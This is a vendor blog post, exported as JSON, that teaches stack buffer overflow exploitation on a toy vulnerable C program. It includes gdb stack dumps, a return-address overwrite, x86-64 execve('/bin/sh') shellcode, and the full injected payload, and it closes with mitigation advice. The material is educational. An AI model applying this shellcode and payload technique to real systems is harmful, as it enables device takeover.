{"id":6351,"date":"2024-07-15T13:19:01","date_gmt":"2024-07-15T20:19:01","guid":{"rendered":"https:\/\/objectsecurity.com\/?p=6351"},"modified":"2024-11-15T15:02:01","modified_gmt":"2024-11-15T23:02:01","slug":"buffer-overflow","status":"publish","type":"post","link":"https:\/\/objectsecurity.com\/buffer-overflow\/","title":{"rendered":"How can a Stack Buffer Overflow be used to Execute Arbitrary Code?"},"content":{"rendered":"

The article explains Stack-based Buffer Overflow attacks (CWE-121), highlighting their mechanisms, severe consequences, and the lack of protections in embedded devices. It illustrates exploitation through altering return addresses and executing arbitrary code, emphasizing the vulnerability of systems without operating system constraints. The article underscores the importance of detecting and mitigating these vulnerabilities, recommending tools and safer programming practices for developers.<\/strong><\/p>\n

This article will explore Stack-based Buffer Overflow attacks (i.e., CWE-121<\/a>): how they work, their consequences, and how they can be prevented. Stack-based Buffer Overflows have been the root cause of numerous CVEs. For example, in CVE-2021-35395<\/a> the Realtek Jungle SDK used for Wi-Fi chipsets in many IoT\/embedded devices, has been exploited in the past to gain arbitrary code execution privileges.<\/p>\n

The presence of Stack-based Buffer Overflows is especially concerning in embedded devices. Such devices often do not have operating system or memory segmentation constraints to prevent these attacks from occurring. This article attempts to educate the manufacturers, developers, and users of embedded devices about the technical details and dangers of Stack-based buffer overflows.<\/p>\n

What is a Stack Buffer Overflow?<\/strong><\/p>\n

In computer programming, the call stack<\/em> (which we will refer to just as the stack<\/em> from here on) is a data structure that stores information about the active subroutines of a computer program. As a program invokes functions\/subroutines, information such as function parameters, return addresses and various other memory pointers are pushed on top of the stack.<\/p>\n<\/div>

<\/span><\/div>

A buffer<\/em> is a continuous segment of memory used to store multiple items of the same type in a computer program. For example, an ordered collection of characters can be stored in a buffer (this is often referred to as a string<\/em>). Buffers have a finite size: they reserve a specific number of bytes within memory.<\/p>\n

A buffer overflow<\/em> occurs when the program writes more values to a buffer than the buffer has reserved space for. For example, a character buffer of size 10 can contain 10 bytes (each character being 1 byte) worth of information. If the program writes 11 characters\/bytes worth of information to this buffer, then the buffer will be overflowed and memory outside of the buffer will be overwritten. What this overwritten memory contains is arbitrary: it could be unimportant, or it could affect the program\u2019s behavior significantly when overwritten.<\/p>\n

With the concepts of stacks<\/em> and buffer overflows<\/em> in mind, we can begin to understand what a stack-based buffer overflow <\/em>entails. A stack-based buffer overflow occurs when a buffer on the stack is overflowed, overwriting memory related to the active subroutines of a computer program.<\/p>\n<\/div>

<\/span><\/div>

A malicious actor can use a stack-based buffer overflow to overwrite specific items on the call stack with intent, altering a program\u2019s behavior. The next section will illustrate a case wherein a stack-based buffer overflow is used to change the return address of a function call.<\/p>\n<\/div><\/div><\/div><\/div><\/div>

Exploiting a Stack Buffer Overflow to Execute a Pre-Defined Function<\/strong><\/p>\n

When a function\/subroutine of a computer program finishes execution, the program jumps back to the point where said function\/subroutine was called. This point in the program is called the return address<\/em> and is one of the items pushed onto the call-stack whenever a function is called. Think of the return address<\/em> as the sender\u2019s address when you receive mail. When you want to send mail back to the original sender, you use their return address.<\/p>\n

If we craft a particular payload for a program that contains a stack-based buffer overflow, we can overwrite this return address<\/em> to be whatever we wish. The new return address can be another function within the program, any arbitrary location in the program, or it can be an address within the overflowed buffer itself. When the function finishes execution, the program will jump to whatever location we wish it to.<\/p>\n

Consider the following vulnerable C program:<\/p>\n

\n
\n
void should_not_run() {\r\n\u00a0 \u00a0 printf(\"You called a function that should never run!n\");\r\n}\r\n\r\nvoid dangerous_fn(char* payload) {\r\n\u00a0 \u00a0 \/\/ stack buffer to overflow\r\n\u00a0 \u00a0 char buffer[64];\r\n\u00a0 \u00a0 strcpy(buffer, payload);\r\n}\r\n\r\nvoid main(int argc, char* argv[]) {\r\n\u00a0 \u00a0 printf(\"You entered the payload \"%s\"n\", argv[1]);\r\n\u00a0 \u00a0 dangerous_fn(argv[1]);\r\n}<\/string.h><\/string.h><\/stdio.h><\/stdio.h><\/code><\/pre>\n
This program takes a string of characters as input, passes this string to a function (called dangerous_fn<\/em>), which copies the string input to a buffer of size 64 (64 bytes). If the input string is less than 64 bytes, this program has no issues. However, if the input string is greater than 64 bytes, then a stack-based buffer overflow will occur.<\/p>\n
This program defines another pre-defined function called should_not_run<\/em>, which prints \u201cYou called a function that should never run!\u201d<\/em> when executed. As the name suggests, the program never executes this function through its normal control flow. However, if we craft a particular payload to exploit the stack-based buffer overflow present in the program, then we can trick the program to call should_not_run<\/em>. This can be done by overriding the return address on the call stack to be the address at the start of should_not_run<\/em>.<\/p>\n
First, let\u2019s observe what values are stored on the call stack when the program calls dangerous_fn<\/em>, after our payload has been copied into the buffer<\/em>. To do this, we will use gdb<\/em> (the GNU debugger):<\/p>\n<\/div>\n<\/div>\n<\/div><\/div><\/div>
$ gdb vulnerable.out
\n…
\n(gdb) b dangerous_fn
\nBreakpoint 1 at 0x40179f: file vulnerable.c, line 11.
\n(gdb) r ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
\nStarting program: \/home\/trevor\/binary_experiments\/stack_overflow_blog\/vulnerable.out ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
\nYou entered the payload “ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo”<\/p>\n
Breakpoint 1, dangerous_fn (payload=0x7fffffffddc3 ‘o’ ) at vulnerable.c:11
\nwarning: Source file is more recent than executable.
\n11 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0strcpy(buffer, payload);
\n(gdb) n
\n12 \u00a0 \u00a0 \u00a0}
\n(gdb) x\/40x $sp
\n0x7fffffffd840: 0x0049de48 \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00xffffddc3 \u00a0 \u00a0 \u00a00x00007fff<\/repeats>
\n0x7fffffffd850:\u00a00x6f6f6f6f\u00a0 \u00a0 \u00a0 0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/repeats><\/span>
\n0x7fffffffd860:\u00a00x6f6f6f6f\u00a0 \u00a0 \u00a0\u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/repeats><\/span>
\n0x7fffffffd870:\u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f<\/repeats><\/span>
\n0x7fffffffd880: 0x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f \u00a0 \u00a0 \u00a00x6f6f6f6f <\/repeats><\/span>\u00a0 \u00a0 \u00a00x006f6f6f<\/repeats><\/span>
\n0x7fffffffd890: 0xffffd8b0 \u00a0 \u00a0 \u00a00x00007fff\u00a0 \u00a0 \u00a0\u00a00x004017fd \u00a0 \u00a0 \u00a00x00000000<\/repeats><\/span>
\n0x7fffffffd8a0: 0xffffda98 \u00a0 \u00a0 \u00a00x00007fff \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00x00000002
\n0x7fffffffd8b0: 0x00000001 \u00a0 \u00a0 \u00a00x00000000 \u00a0 \u00a0 \u00a00x00401c2a \u00a0 \u00a0 \u00a00x00000000
\n0x7fffffffd8c0: 0x00000000 \u00a0 \u00a0 \u00a00x00000020 \u00a0 \u00a0 \u00a00x004017b5 \u00a0 \u00a0 \u00a00x00000000
\n0x7fffffffd8d0: 0x00000000 \u00a0 \u00a0 \u00a00x00000002 \u00a0 \u00a0 \u00a00xffffda98 \u00a0 \u00a0 \u00a00x00007fff<\/repeats><\/p>\n<\/div><\/div><\/div>
We ran the program with a payload of 63 o\u2019s<\/em>. The hexadecimal representation of the letter o<\/em> is 0x6f<\/em>. The green section in the output above shows the 63 o\u2019s<\/em> that have been copied into the buffer<\/em>.<\/p>\n
The red section is the return address, which is currently set to 0x00000000004017fd<\/em>. This is the address the program will jump to once dangerous_fn<\/em> has finished its execution. You can see that this address is 9 bytes about from the end of our buffer. If we pad our input payload with 9 more bytes, and then top it off with the address of should\u00ad_not_run<\/em>, we can trick the program into executing should_not_run<\/em>.<\/p>\n
To get the address of should_not_run<\/em>, we will again use gdb<\/em>:<\/p>\n<\/div><\/div><\/div>
(gdb) info addr should_not_run
\nSymbol “should_not_run” is a function at address 0x401775.<\/p>\n<\/div><\/div><\/div>
So, the address we are looking to overwrite the return address with is 0x401775<\/em>. We can craft a payload that includes these bytes by using the printf<\/em> command, which can convert hexadecimal codes into characters:<\/p>\n<\/div><\/div><\/div>
$ .\/vulnerable.out “oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo$(printf ‘x75x17x40’)”
\nYou entered the payload “oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooou@”
\nYou called a function that should never run!<\/p>\n<\/div><\/div><\/div>
And just like that, we have exploited a stack-based buffer overflow to cause a program to execute a function that should never run!<\/p>\n<\/div><\/div><\/div><\/div><\/div>
Exploiting a Stack Buffer Overflow to Execute Arbitrary Code<\/strong><\/p>\n
While this is interesting, running pre-defined functions might not be inherently dangerous, the developer still left the function in the code after all. As alluded to before, stack-based buffer overflows can enable arbitrary code execution and a complete hijacking of a device\u2019s CPU. To do this in our example program, we must craft an input payload that contains the instructions we want to execute, and then overwrite the return address of the dangerous_fn <\/em>call to point back to the start of the overflowed buffer.<\/p>\n
Let\u2019s first identify what instructions we wish to run. Ideally, we would like to get a shell into the target device\u2019s system, which would let us execute any command we wish without having to craft a full payload each time. The following bit of C-inline assembly lets us do this (arbitrary_code.c<\/em>):<\/p>\n
\n
void main() {\r\n__asm__(\r\n\u00a0 \u00a0 \/\/ --- get values onto stack ---\r\n\r\n\u00a0 \u00a0 \"xor %rdx, %rdx;\"\r\n\u00a0 \u00a0 \"push %rdx;\"\r\n\u00a0 \u00a0 \"movq $0x68732f2f6e69622f, %rax;\" \/\/ push \"\/bin\/\/sh\" onto stack\r\n\u00a0 \u00a0 \"push %rax;\" \/\/ push executable filename onto on stack\r\n\u00a0 \u00a0 \"mov %rsp, %rbx;\" \/\/ %rbx now points to the command on the stack\r\n\r\n\u00a0 \u00a0 \"push %rdx;\"\r\n\u00a0 \u00a0 \"push %rbx;\" \/\/ pointer to a pointer\r\n\r\n\u00a0 \u00a0 \/\/ ---prep registers for execve syscall ---\r\n\r\n\u00a0 \u00a0 \"xor %rdx, %rdx;\" \/\/ clear rbx register\r\n\u00a0 \u00a0 \"movq %rsp, %rsi;\" \/\/ pointer to a pointer to commands\/args\r\n\u00a0 \u00a0 \"movq %rbx, %rdi;\" \/\/ points to filename\r\n \u00a0\r\n\u00a0 \u00a0 \/\/ --- make syscall to execute command with execve ---\r\n\r\n\u00a0 \u00a0 \"xor %rax, %rax;\"\r\n\u00a0 \u00a0 \"add $59, %rax;\"\r\n\u00a0 \u00a0 \"syscall;\"\r\n\r\n\u00a0 \u00a0 \/\/ --- exit the program ---\r\n\r\n\u00a0 \u00a0 \"add $32, %rsp;\" \/\/ restore the stack pointer\r\n\u00a0 \u00a0 \"xor %rdi, %rdi;\" \/\/ exit with code 0 (success)\r\n\u00a0 \u00a0 \"xor %rax, %rax;\"\r\n\u00a0 \u00a0 \"add $60, %rax;\"\r\n\u00a0 \u00a0 \"syscall;\"\r\n);\r\n}<\/stdlib.h><\/stdio.h><\/code><\/pre>\n
This code makes a system call (specifically execve<\/em>) to the Linux kernel which requests to run \/bin\/sh<\/em>. This command opens a shell that lets further commands be run. Executing this program on its own illustrates our desired behavior:<\/p>\n<\/div>\n<\/div><\/div><\/div>
$ .\/arbitrary_code.out
\n$ echo “I can run anything!”
\nI can run anything!
\n$<\/p>\n<\/div><\/div><\/div>
Using objdump<\/em>, we can see the hexadecimal codes that make up this program:<\/p>\n<\/div><\/div><\/div>
$ objdump -d arbitrary_code.out | less
\n…
\n40174d: \u00a0 \u00a0 \u00a0 48 31 d2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdx,%rdx
\n401750: \u00a0 \u00a0 \u00a0 52 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rdx
\n401751: \u00a0 \u00a0 \u00a0 48 b8 2f 62 69 6e 2f \u00a0 \u00a0movabs $0x68732f2f6e69622f,%rax
\n401758: \u00a0 \u00a0 \u00a0 2f 73 68
\n40175b: \u00a0 \u00a0 \u00a0 50 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rax
\n40175c: \u00a0 \u00a0 \u00a0 48 89 e3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rsp,%rbx
\n40175f: \u00a0 \u00a0 \u00a0 52 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rdx
\n401760: \u00a0 \u00a0 \u00a0 53 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0push \u00a0 %rbx
\n401761: \u00a0 \u00a0 \u00a0 48 31 d2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdx,%rdx
\n401764: \u00a0 \u00a0 \u00a0 48 89 e6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rsp,%rsi
\n401767: \u00a0 \u00a0 \u00a0 48 89 df \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0mov \u00a0 \u00a0%rbx,%rdi
\n40176a: \u00a0 \u00a0 \u00a0 48 31 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rax,%rax
\n40176d: \u00a0 \u00a0 \u00a0 48 83 c0 3b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x3b,%rax
\n401771: \u00a0 \u00a0 \u00a0 0f 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 syscall
\n401773: \u00a0 \u00a0 \u00a0 48 83 c4 20 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x20,%rsp
\n401777: \u00a0 \u00a0 \u00a0 48 31 ff \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rdi,%rdi
\n40177a: \u00a0 \u00a0 \u00a0 48 31 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0xor \u00a0 \u00a0%rax,%rax
\n40177d: \u00a0 \u00a0 \u00a0 48 83 c0 3c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 add \u00a0 \u00a0$0x3c,%rax
\n401781: \u00a0 \u00a0 \u00a0 0f 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 syscall<\/p>\n<\/div><\/div><\/div>
Please note that the exact assembly instructions and their corresponding hexadecimal representation will vary by the target operating system and CPU Instruction Set Architecture. In this case, I am running this sample on x86 processor and Linux.<\/p>\n
In any case, concatenating this hexadecimal representation together lets us create our payload. I have also appended some extra bytes, including the memory address which points back to the start of the overflowed buffer:<\/p>\n<\/div><\/div><\/div>
$ .\/vulnerable.out “$(printf “x48x31xd2x52x48xb8x2fx62x69x6ex2fx2fx73x68x50x48x89xe3x52x53x48x31xd2x48x89xe6x48x89xdfx48
\nx31xc0x48x83xc0x3bx0fx05x48x83xc4x20x48x31xffx48x31xc0x48x83xc0x3cx0fx05xffxffxffxffxffxff
\nxffxffxffxffxffxffxffxffxffxffxffxffx40xd8xffxffxffx7f”)”
\nYou entered the payload “H1\ufffdRH\ufffd\/bin\/\/shPH\ufffd\ufffdRSH1\ufffdH\ufffd\ufffdH\ufffd\ufffdH1\ufffdH\ufffd\ufffd;H\ufffd\ufffd H1\ufffdH1\ufffdH\ufffd\ufffd<\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd@\ufffd\ufffd\ufffd\ufffd”
\n$ echo “I can run anything!”
\nI can run anything!
\n$<\/p>\n<\/div><\/div><\/div>
This payload overwrites the return address of the call to dangerous_fn<\/em>, pointing it back into our payload. Because our payload contains instructions to open a shell, this lets us hijack the target device. In an OS environment, this lets us (the attacker) gain the same execution privileges as the original process. If this original process was running as root<\/em>, gaining near-full control of the target\u2019s CPU is made possible by crafting a very particular (but still allowed) input payload.<\/p>\n
In the embedded world, where an underlying operating system might not be present, the attacker could overflow the stack buffer with their own program (up to the size of the stack). This program could hijack the target embedded device, causing denial of service (DoS), dumping encryption keys to a serial interface, or propagating malware across the OT\/IoT network.<\/p>\n<\/div><\/div><\/div><\/div><\/div>
Conclusion<\/strong><\/p>\n
Stack-based buffer overflow exploits are protected against by most modern operating systems through the implementation of memory segmentation and other constraints placed on user-space programs, and in modern hardware using a memory-management unit (MMU). To get this exploit working on my Linux installation, I had to make use of mprotect<\/em>. This Linux syscall changes the access protections for the calling process\u2019s memory<\/a>, in my case letting me make stack memory executable. I did not include the source code I used to do this in the previous examples for the sake of simplicity.<\/p>\n
Embedded devices (e.g., IoT\/OT, etc.) often do not have such constraints, making them more vulnerable to stack-based buffer overflow attacks. For embedded devices, detecting stack-based buffer overflows can be performed by tools such as ObjectSecurity’s BinLens<\/a> (formerly ObjectSecurity OT.AI Platform), which detects memory-violations related to pointer boundaries. Finding such vulnerabilities manually, especially in the case of large firmware images, can prove quite difficult. ObjectSecurity’s BinLens<\/a> (formerly ObjectSecurity OT.AI Platform) can aid your effort in mitigating the danger stack-based buffer overflows present to your organization.<\/p>\n
If you are a developer, identifying stack-based buffer overflows in your code is crucial. Once identified, various remediations are possible. This includes sanitizing untrusted user input, placing size guards around buffer handling logic, and using safer alternatives to unsafe functions.<\/p>\n<\/div>
Resources<\/strong><\/p>\n